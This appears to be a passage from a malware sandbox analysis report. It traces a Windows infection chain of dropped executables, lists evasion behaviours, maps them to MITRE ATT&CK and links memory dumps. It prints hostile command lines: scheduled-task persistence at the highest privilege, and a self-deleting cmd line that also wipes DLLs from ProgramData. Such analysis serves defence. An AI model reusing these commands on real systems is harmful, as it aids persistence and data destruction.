        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2820 /prefetch:1
        6⤵
        Checks computer location settings
        Loads dropped DLL
        
        PID:6128
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3300 /prefetch:2
        6⤵
        Loads dropped DLL
        
        PID:6936
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=3404 /prefetch:8
        6⤵
        Loads dropped DLL
        
        PID:2148
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=3300 /prefetch:8
        6⤵
        
        PID:4664
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=3536 /prefetch:8
        6⤵
        
        PID:6552
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=3924 /prefetch:8
        6⤵
        
        PID:7044
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=2816 /prefetch:8
        6⤵
        
        PID:6600
- - C:\Users\Admin\AppData\Local\Temp\6.exe
    "C:\Users\Admin\AppData\Local\Temp\6.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:68
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 68 -s 1544
      4⤵
      Program crash
      PID:5504

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun038db98f99bf9a.exe
Sun038db98f99bf9a.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:2004
- C:\Users\Admin\Pictures\Adobe Films\yTy3pjskcaOH3SGW7DDHaAqG.exe
  "C:\Users\Admin\Pictures\Adobe Films\yTy3pjskcaOH3SGW7DDHaAqG.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:6068
- C:\Users\Admin\Pictures\Adobe Films\BnaQE7vssOIGKiIFtluJLNOT.exe
  "C:\Users\Admin\Pictures\Adobe Films\BnaQE7vssOIGKiIFtluJLNOT.exe"
  2⤵
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:6636
- C:\Users\Admin\Pictures\Adobe Films\d3AMh7RrYP1XgER3nYdWgVrD.exe
  "C:\Users\Admin\Pictures\Adobe Films\d3AMh7RrYP1XgER3nYdWgVrD.exe"
  2⤵
  - Drops file in Program Files directory
  PID:6620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:6280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1552
- C:\Users\Admin\Pictures\Adobe Films\H6UM5D_oAJb1wY44F0H9W53a.exe
  "C:\Users\Admin\Pictures\Adobe Films\H6UM5D_oAJb1wY44F0H9W53a.exe"
  2⤵
  PID:6616
- C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe
  "C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe"
  2⤵
  - Loads dropped DLL
  PID:5720
- C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe
  "C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe"
  2⤵
  - Checks processor information in registry
  PID:868
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im xcLVIwmxi_ZLJsepaVLcueHv.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:5032
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im xcLVIwmxi_ZLJsepaVLcueHv.exe /f
      4⤵
      Kills process with taskkill
      PID:2312
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:6380
- C:\Users\Admin\Pictures\Adobe Films\CMCX11vCmko9R4RXJMdgUVL4.exe
  "C:\Users\Admin\Pictures\Adobe Films\CMCX11vCmko9R4RXJMdgUVL4.exe"
  2⤵
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:6472

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe
Sun03f5d51697d04.exe
1⤵
- Executes dropped EXE
PID:316
- C:\Users\Admin\AppData\Local\Temp\is-6VGKL.tmp\Sun03f5d51697d04.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-6VGKL.tmp\Sun03f5d51697d04.tmp" /SL5="$6007C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3288
- - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe" /SILENT
    3⤵
    - Executes dropped EXE
    PID:1332
  - - C:\Users\Admin\AppData\Local\Temp\is-1UPBS.tmp\Sun03f5d51697d04.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-1UPBS.tmp\Sun03f5d51697d04.tmp" /SL5="$401D8,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe" /SILENT
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks whether UAC is enabled
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      PID:3176
    - - C:\Users\Admin\AppData\Local\Temp\is-ASRMA.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-ASRMA.tmp\postback.exe" ss1
        5⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:2176

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3252
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:2844

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5936
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4628

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:6616

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
1⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
PID:4644
- C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe
  "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"
  2⤵
  - Modifies registry class
  PID:900

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:5924

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Change Default File Association

T1042

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/68-334-0x0000000001440000-0x0000000001442000-memory.dmp

Filesize
8KB

Download
memory/316-211-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/356-403-0x000002B450140000-0x000002B4501B2000-memory.dmp

Filesize
456KB

Download
memory/420-149-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/420-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/420-148-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/420-138-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/420-137-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/420-136-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/420-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/420-141-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/420-142-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/420-143-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/420-144-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/420-145-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1056-458-0x000002A621D50000-0x000002A621DC2000-memory.dmp

Filesize
456KB

Download
memory/1096-444-0x0000028F25770000-0x0000028F257E2000-memory.dmp

Filesize
456KB

Download
memory/1152-295-0x0000000000B50000-0x0000000000BFE000-memory.dmp

Filesize
696KB

Download
memory/1152-304-0x0000000000B50000-0x0000000000BFE000-memory.dmp

Filesize
696KB

Download
memory/1220-503-0x00000253906B0000-0x0000025390722000-memory.dmp

Filesize
456KB

Download
memory/1332-232-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/1348-478-0x0000022B09660000-0x0000022B096D2000-memory.dmp

Filesize
456KB

Download
memory/1384-269-0x0000000000460000-0x00000000004AA000-memory.dmp

Filesize
296KB

Download
memory/1384-273-0x0000000000400000-0x0000000000458000-memory.dmp

Filesize
352KB

Download
memory/1384-264-0x00000000001C0000-0x00000000001E9000-memory.dmp

Filesize
164KB

Download
memory/1436-460-0x0000029597440000-0x00000295974B2000-memory.dmp

Filesize
456KB

Download
memory/1448-344-0x0000000000580000-0x0000000000581000-memory.dmp

Filesize
4KB

Download
memory/1744-253-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

Filesize
4KB

Download
memory/1836-419-0x0000000004810000-0x00000000048E6000-memory.dmp

Filesize
856KB

Download
memory/1836-450-0x0000000000400000-0x0000000002BB8000-memory.dmp

Filesize
39.7MB

Download
memory/1888-470-0x000002C12D860000-0x000002C12D8D2000-memory.dmp

Filesize
456KB

Download
memory/1984-299-0x0000000000400000-0x000000000058E000-memory.dmp

Filesize
1.6MB

Download
memory/1984-306-0x0000000000590000-0x00000000006DA000-memory.dmp

Filesize
1.3MB

Download
memory/1984-288-0x00000000007B1000-0x00000000007DC000-memory.dmp

Filesize
172KB

Download
memory/2064-454-0x00000000054E0000-0x00000000054E1000-memory.dmp

Filesize
4KB

Download
memory/2064-391-0x00000000773C0000-0x000000007754E000-memory.dmp

Filesize
1.6MB

Download
memory/2332-461-0x0000000002CE0000-0x0000000002D23000-memory.dmp

Filesize
268KB

Download
memory/2332-483-0x0000000000400000-0x0000000002B63000-memory.dmp

Filesize
39.4MB

Download
memory/2432-477-0x0000000001F50000-0x0000000001F72000-memory.dmp

Filesize
136KB

Download
memory/2432-494-0x0000000004AE3000-0x0000000004AE4000-memory.dmp

Filesize
4KB

Download
memory/2432-491-0x0000000004AE2000-0x0000000004AE3000-memory.dmp

Filesize
4KB

Download
memory/2432-487-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

Filesize
4KB

Download
memory/2448-414-0x0000014E6EB10000-0x0000014E6EB82000-memory.dmp

Filesize
456KB

Download
memory/2484-393-0x0000019D393D0000-0x0000019D39442000-memory.dmp

Filesize
456KB

Download
memory/2564-292-0x00000000004A0000-0x00000000004A1000-memory.dmp

Filesize
4KB

Download
memory/2564-301-0x00000000026C0000-0x00000000026C2000-memory.dmp

Filesize
8KB

Download
memory/2604-333-0x0000000000DB0000-0x0000000000DC6000-memory.dmp

Filesize
88KB

Download
memory/2708-506-0x000001EC65280000-0x000001EC652F2000-memory.dmp

Filesize
456KB

Download
memory/2844-358-0x0000000003059000-0x000000000315A000-memory.dmp

Filesize
1.0MB

Download
memory/2844-363-0x0000000004840000-0x000000000489D000-memory.dmp

Filesize
372KB

Download
memory/2852-370-0x0000019C15B30000-0x0000019C15BA2000-memory.dmp

Filesize
456KB

Download
memory/3128-277-0x0000000000510000-0x0000000000511000-memory.dmp

Filesize
4KB

Download
memory/3128-309-0x0000000004D70000-0x0000000004D71000-memory.dmp

Filesize
4KB

Download
memory/3128-284-0x0000000004CB0000-0x0000000004CB1000-memory.dmp

Filesize
4KB

Download
memory/3176-243-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/3288-228-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/3352-383-0x00000000052C0000-0x00000000052C1000-memory.dmp

Filesize
4KB

Download
memory/3376-386-0x000001BB9E500000-0x000001BB9E572000-memory.dmp

Filesize
456KB

Download
memory/3592-311-0x0000000000410000-0x0000000000411000-memory.dmp

Filesize
4KB

Download
memory/3592-310-0x0000000000410000-0x0000000000411000-memory.dmp

Filesize
4KB

Download
memory/3968-298-0x0000000000F10000-0x0000000000F11000-memory.dmp

Filesize
4KB

Download
memory/3968-302-0x00000000015F0000-0x00000000015F2000-memory.dmp

Filesize
8KB

Download
memory/4116-271-0x0000000000030000-0x0000000000038000-memory.dmp

Filesize
32KB

Download
memory/4116-268-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/4116-272-0x00000000001C0000-0x00000000001C9000-memory.dmp

Filesize
36KB

Download
memory/4204-222-0x00000000002C0000-0x00000000002C1000-memory.dmp

Filesize
4KB

Download
memory/4204-246-0x0000000000E00000-0x0000000000E01000-memory.dmp

Filesize
4KB

Download
memory/4204-241-0x00000000026C0000-0x00000000026C1000-memory.dmp

Filesize
4KB

Download
memory/4204-244-0x0000000000DA0000-0x0000000000DA1000-memory.dmp

Filesize
4KB

Download
memory/4204-258-0x0000000005140000-0x0000000005141000-memory.dmp

Filesize
4KB

Download
memory/4252-199-0x0000000000C50000-0x0000000000C51000-memory.dmp

Filesize
4KB

Download
memory/4252-208-0x000000001B970000-0x000000001B972000-memory.dmp

Filesize
8KB

Download
memory/4732-313-0x0000000008620000-0x0000000008621000-memory.dmp

Filesize
4KB

Download
memory/4732-265-0x00000000082B0000-0x00000000082B1000-memory.dmp

Filesize
4KB

Download
memory/4732-498-0x00000000051B3000-0x00000000051B4000-memory.dmp

Filesize
4KB

Download
memory/4732-212-0x0000000004C70000-0x0000000004C71000-memory.dmp

Filesize
4KB

Download
memory/4732-234-0x0000000007870000-0x0000000007871000-memory.dmp

Filesize
4KB

Download
memory/4732-215-0x0000000004C70000-0x0000000004C71000-memory.dmp

Filesize
4KB

Download
memory/4732-237-0x00000000051B0000-0x00000000051B1000-memory.dmp

Filesize
4KB

Download
memory/4732-236-0x00000000051B2000-0x00000000051B3000-memory.dmp

Filesize
4KB

Download
memory/4732-305-0x00000000081C0000-0x00000000081C1000-memory.dmp

Filesize
4KB

Download
memory/4732-397-0x000000007EAC0000-0x000000007EAC1000-memory.dmp

Filesize
4KB

Download
memory/4940-408-0x000000007F630000-0x000000007F631000-memory.dmp

Filesize
4KB

Download
memory/4940-225-0x0000000000F10000-0x0000000000F11000-memory.dmp

Filesize
4KB

Download
memory/4940-280-0x0000000007C20000-0x0000000007C21000-memory.dmp

Filesize
4KB

Download
memory/4940-247-0x0000000006BF0000-0x0000000006BF1000-memory.dmp

Filesize
4KB

Download
memory/4940-216-0x0000000000A30000-0x0000000000A31000-memory.dmp

Filesize
4KB

Download
memory/4940-255-0x0000000007590000-0x0000000007591000-memory.dmp

Filesize
4KB

Download
memory/4940-233-0x0000000000FD2000-0x0000000000FD3000-memory.dmp

Filesize
4KB

Download
memory/4940-262-0x0000000006A70000-0x0000000006A71000-memory.dmp

Filesize
4KB

Download
memory/4940-259-0x0000000007750000-0x0000000007751000-memory.dmp

Filesize
4KB

Download
memory/4940-471-0x0000000000FD3000-0x0000000000FD4000-memory.dmp

Filesize
4KB

Download
memory/4940-229-0x0000000000FD0000-0x0000000000FD1000-memory.dmp

Filesize
4KB

Download
memory/4940-213-0x0000000000A30000-0x0000000000A31000-memory.dmp

Filesize
4KB

Download
memory/4940-245-0x0000000006C30000-0x0000000006C31000-memory.dmp

Filesize
4KB

Download
memory/4972-321-0x0000000005840000-0x0000000005841000-memory.dmp

Filesize
4KB

Download
memory/4972-335-0x0000000005230000-0x0000000005836000-memory.dmp

Filesize
6.0MB

Download
memory/4972-315-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/5044-209-0x0000000000B40000-0x0000000000B41000-memory.dmp

Filesize
4KB

Download
memory/5044-205-0x0000000000710000-0x0000000000711000-memory.dmp

Filesize
4KB

Download
memory/5044-261-0x000000001C070000-0x000000001C071000-memory.dmp

Filesize
4KB

Download
memory/5044-250-0x000000001B310000-0x000000001B311000-memory.dmp

Filesize
4KB

Download
memory/5044-221-0x000000001B380000-0x000000001B382000-memory.dmp

Filesize
8KB

Download
memory/5060-368-0x000001EE734C0000-0x000001EE7350D000-memory.dmp

Filesize
308KB

Download
memory/5060-361-0x000001EE73580000-0x000001EE735F2000-memory.dmp

Filesize
456KB

Download
memory/5164-474-0x00000000773C0000-0x000000007754E000-memory.dmp

Filesize
1.6MB

Download